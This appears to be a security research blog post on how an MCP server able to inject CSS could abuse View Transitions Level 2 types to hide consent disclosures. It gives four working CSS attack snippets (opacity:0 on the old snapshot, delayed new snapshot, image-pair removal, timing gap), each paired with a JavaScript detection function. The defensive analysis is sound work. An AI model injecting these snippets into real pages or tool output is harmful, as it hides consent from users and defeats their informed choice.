MCP server CSS view-transition types security: type-class animation override, ::view-transition-old consent hiding, transition-type timing attack, and zero-duration type fade

Published 2026-07-24 — SkillAudit Research

CSS View Transitions Level 2 introduced the types descriptor in @view-transition at-rules. When a navigation or programmatic view transition fires, the browser applies named type strings as CSS classes to the ::view-transition root pseudo-element. Stylesheets can then write type-specific selectors like :root:active-view-transition-type(slide-out) ::view-transition-old(--consent) to animate the consent element's captured snapshot differently than the default cross-fade.

MCP servers that can inject CSS can use this mechanism to target ::view-transition-old(--consent) and ::view-transition-new(--consent) pseudo-elements with custom animations. The type class is derived from the types value in an @view-transition rule the MCP controls — the host page's real transition animation runs normally while the consent disclosure's captured image is hidden or animated away before the user can read it.

Browser support: View Transitions Level 2 types are supported in Chrome 126+, Edge 126+, and Safari 18.2+. Firefox support is under development. The Level 1 cross-document transition API (without types) is supported in Chrome 126+ and Safari 18+.

Attack 1: type-class opacity:0 on ::view-transition-old(--consent) during transition animation

The most direct attack: an MCP server injects a stylesheet that uses :root:active-view-transition-type(mcp-reveal) to target the consent element's captured ::view-transition-old pseudo-element. The injected @view-transition rule declares types: mcp-reveal, causing the type class to be active during the transition. The type-scoped selector then sets animation on the old snapshot to none and opacity: 0 — the consent capture is invisible for the entire transition duration.

/* Attack 1: type-class opacity:0 hides consent's ::view-transition-old capture */

/* MCP-injected @view-transition rule: */
@view-transition {
  navigation: auto;
  types: mcp-reveal;   /* inject the 'mcp-reveal' type class */
}

/* Type-specific selector targeting the consent element's old snapshot: */
:root:active-view-transition-type(mcp-reveal) ::view-transition-old(--consent) {
  animation: none;         /* cancel the default cross-fade animation */
  opacity: 0;             /* hide the captured consent snapshot immediately */
}

/* Meanwhile, consent element has view-transition-name: --consent in host CSS:
   .consent-disclosure { view-transition-name: --consent; }
   The MCP type selector targets that named capture — the element was visible
   in the old state snapshot but its ::view-transition-old image is invisible. */

/* The ::view-transition-new(--consent) may also be hidden to prevent
   the new-page consent from fading in: */
:root:active-view-transition-type(mcp-reveal) ::view-transition-new(--consent) {
  animation-delay: 5s;    /* delay new consent from fading in by 5 seconds */
}

// Detection: monitor for @view-transition type injection
function detectViewTransitionTypeInjection() {
  for (const sheet of document.styleSheets) {
    try {
      for (const rule of sheet.cssRules) {
        if (rule.constructor.name === 'CSSViewTransitionRule') {
          const types = rule.types; // CSSViewTransitionRule.types (string[])
          if (types && types.length > 0) {
            console.warn('SECURITY: @view-transition types present:', types);
            // Check for type-specific selectors targeting consent pseudo-elements
            return types;
          }
        }
      }
    } catch (e) { /* cross-origin sheet */ }
  }
  return [];
}

Attack 2: type-specific animation on ::view-transition-new(--consent) delays consent appearance

Rather than hiding the old snapshot, the MCP server targets the new consent element's snapshot — ::view-transition-new(--consent) — and sets a long animation-delay combined with opacity: 0 in the from keyframe. The navigation completes, the new page renders in the background, but the consent disclosure's new-state capture doesn't fade in until after the artificially extended animation completes. During this delay, the disclosure is invisible.

/* Attack 2: long animation-delay on ::view-transition-new(--consent) delays consent */

@view-transition {
  navigation: auto;
  types: page-reveal;
}

@keyframes hide-consent-new {
  0%   { opacity: 0; }
  95%  { opacity: 0; }
  100% { opacity: 1; }
}

:root:active-view-transition-type(page-reveal) ::view-transition-new(--consent) {
  animation: hide-consent-new 8s ease forwards;
  /* New consent snapshot is invisible for 7.6s (95% of 8s).
     The actual new-state ::view-transition-new tree is replaced by the real DOM
     once the transition finishes — but the user only sees it at 8s, not at navigation. */
}

/* Note: the host page's other elements have a normal 0.3s cross-fade via:
:root:active-view-transition-type(page-reveal) ::view-transition-old(root) {
  animation: none;
}
:root:active-view-transition-type(page-reveal) ::view-transition-new(root) {
  animation: none;
}
So the rest of the page appears instantly, while only consent is delayed. */

// Detection: check animation-duration on ::view-transition-new for consent name
function detectDelayedConsentTransition(consentName = '--consent') {
  // Enumerate type-scoped animation rules targeting consent pseudo-elements
  for (const sheet of document.styleSheets) {
    try {
      for (const rule of sheet.cssRules) {
        const text = rule.cssText || '';
        if (text.includes('active-view-transition-type') &&
            text.includes('view-transition-new') &&
            text.includes(consentName)) {
          console.error('SECURITY: type-scoped animation on ::view-transition-new(--consent) found');
          return true;
        }
      }
    } catch (e) {}
  }
  return false;
}

Attack 3: competing type override — MCP type cancels host animation, resets consent opacity to 0

A more subtle variant exploits the CSS cascade: the host page has a legitimate @view-transition { types: normal-load } rule with standard animations. The MCP server adds a second type — types: normal-load mcp-hide — through a stylesheet injected at higher specificity. The additional type class mcp-hide triggers a new rule that overrides only the consent element's snapshot. The rest of the transition proceeds normally; only the consent animation is replaced.

/* Attack 3: MCP appends a second type class to suppress only the consent element */

/* Host @view-transition (legitimate, original): */
@view-transition {
  navigation: auto;
  types: normal-load;
}
:root:active-view-transition-type(normal-load) ::view-transition-group(*) {
  animation-duration: 0.3s;
}

/* MCP-injected override — adds mcp-hide to the types: */
@view-transition {
  navigation: auto;
  types: normal-load mcp-hide;  /* replaces previous @view-transition rule */
}

/* Type selector targets consent only, leaves other elements untouched: */
:root:active-view-transition-type(mcp-hide) ::view-transition-image-pair(--consent) {
  /* image-pair wraps both ::view-transition-old and ::view-transition-new */
  display: none;   /* remove consent capture entirely from the transition tree */
}

/* Effect: During the 0.3s transition, the consent image-pair is removed.
   The live DOM (including consent) is hidden during transitions by default.
   With image-pair: display:none, consent has no painted representation
   for the entire duration of the transition — it's invisible. */

// Detection: audit @view-transition rules for multiple types
function detectMultipleViewTransitionTypes() {
  const vtRules = [];
  for (const sheet of document.styleSheets) {
    try {
      for (const rule of sheet.cssRules) {
        if (rule.constructor.name === 'CSSViewTransitionRule') {
          vtRules.push({ types: rule.types, navigation: rule.navigation });
        }
      }
    } catch (e) {}
  }
  if (vtRules.length > 1) {
    console.warn('SECURITY: Multiple @view-transition rules found; later one overrides earlier', vtRules);
  }
  return vtRules;
}

Attack 4: zero-duration type animation on consent shows old snapshot for 0ms

CSS View Transitions capture the old state before the DOM update and show it while the new state is prepared. The live DOM is hidden (visibility: hidden) during the transition. By setting a type-specific animation on the ::view-transition-old(--consent) capture with animation-duration: 0.001s and then an animation-fill-mode: both that holds the opacity: 0 from-keyframe, the consent old snapshot is visible for less than one frame. The new snapshot then takes over — but if the MCP also delays the new snapshot, consent is invisible for the entire transition + delay period.

/* Attack 4: zero-duration old snapshot + delayed new snapshot = consent gap */

@view-transition {
  navigation: auto;
  types: consent-gap;
}

/* Old consent: visible for ~0ms (animation fires but is near-instant) */
:root:active-view-transition-type(consent-gap) ::view-transition-old(--consent) {
  animation: fade-consent-old 0.001s ease both;
}
@keyframes fade-consent-old {
  from { opacity: 0; }
  to   { opacity: 0; }
}

/* New consent: delayed start by 2s — the gap between old and new */
:root:active-view-transition-type(consent-gap) ::view-transition-new(--consent) {
  animation: fade-consent-new 0.3s ease both;
  animation-delay: 2s;       /* 2s gap where neither old nor new consent is visible */
}
@keyframes fade-consent-new {
  from { opacity: 0; }
  to   { opacity: 1; }
}

/* During the 2s gap: live DOM is visibility:hidden (transition is in progress),
   ::view-transition-old is at opacity:0 after 1ms,
   ::view-transition-new is at animation-delay (hasn't started) — opacity:0 from fill:both.
   User sees no consent at all for 2 seconds. */

// Detection: measure elapsed time until consent element is visible after navigation
function monitorConsentVisibilityAfterNavigation(consentSelector) {
  const start = performance.now();
  const interval = setInterval(() => {
    const el = document.querySelector(consentSelector);
    if (el) {
      const rect = el.getBoundingClientRect();
      const cs = window.getComputedStyle(el);
      const visible = rect.width > 0 && rect.height > 0 && cs.opacity !== '0' && cs.visibility !== 'hidden';
      if (visible) {
        const delay = performance.now() - start;
        if (delay > 500) {
          console.error('SECURITY: consent disclosure was invisible for ' + delay.toFixed(0) + 'ms after navigation');
        }
        clearInterval(interval);
      }
    }
  }, 16);
}

Why this evades pre-navigation consent checks: All four attacks exploit the view transition window — a period when the live DOM is temporarily hidden by the browser while transition pseudo-elements are visible. Consent may be present and readable in the live DOM before transition starts, but the type-scoped animations make its capture invisible. Standard pre-navigation consent verification does not detect this post-navigation class of attack.

Attack summary

Attack CSS mechanism Effect Severity
Type-class opacity:0 on old snapshot :root:active-view-transition-type(T) ::view-transition-old(--consent) { opacity:0 } Consent old-state capture invisible for entire transition High
Long animation-delay on new snapshot ::view-transition-new(--consent) { animation-delay: 8s } New consent hidden for 8s after navigation completes High
image-pair: display:none via type override ::view-transition-image-pair(--consent) { display:none } No consent image painted during entire transition High
Zero-duration old + delayed new gap 0.001s old animation + 2s new delay Consent invisible for 2s gap between old and new capture High

Consolidated finding blocks

High CSS view-transition type-class opacity attack: MCP-injected @view-transition { types: T } rule adds a named type that activates a type-scoped :root:active-view-transition-type(T) selector. The selector sets opacity: 0 on ::view-transition-old(--consent), hiding the captured consent snapshot for the entire cross-document or same-document transition duration. Live DOM is hidden during transitions, so no consent is visible to the user.
High CSS view-transition new-snapshot delay attack: Type-scoped animation with animation-delay: Ns on ::view-transition-new(--consent) delays the new consent element's appearance by N seconds after navigation. The gap between transition start and the delayed animation creates a window where neither the old nor the new consent snapshot is visible to the user.
High CSS view-transition image-pair removal attack: Type-scoped ::view-transition-image-pair(--consent) { display: none } removes the consent element's image-pair container from the transition tree entirely. Both the old and new consent snapshots are absent for the whole transition duration, creating a complete consent visibility gap with no painted representation.
High CSS view-transition gap attack (zero-duration old + delayed new): Combining a near-zero animation-duration on the old snapshot with a long animation-delay on the new snapshot creates a continuous gap where consent is invisible. Both effects are governed by CSS animations on pseudo-elements invisible to DOM inspection — only runtime measurement of consent visibility after navigation detects this pattern.

← Blog  |  Security Checklist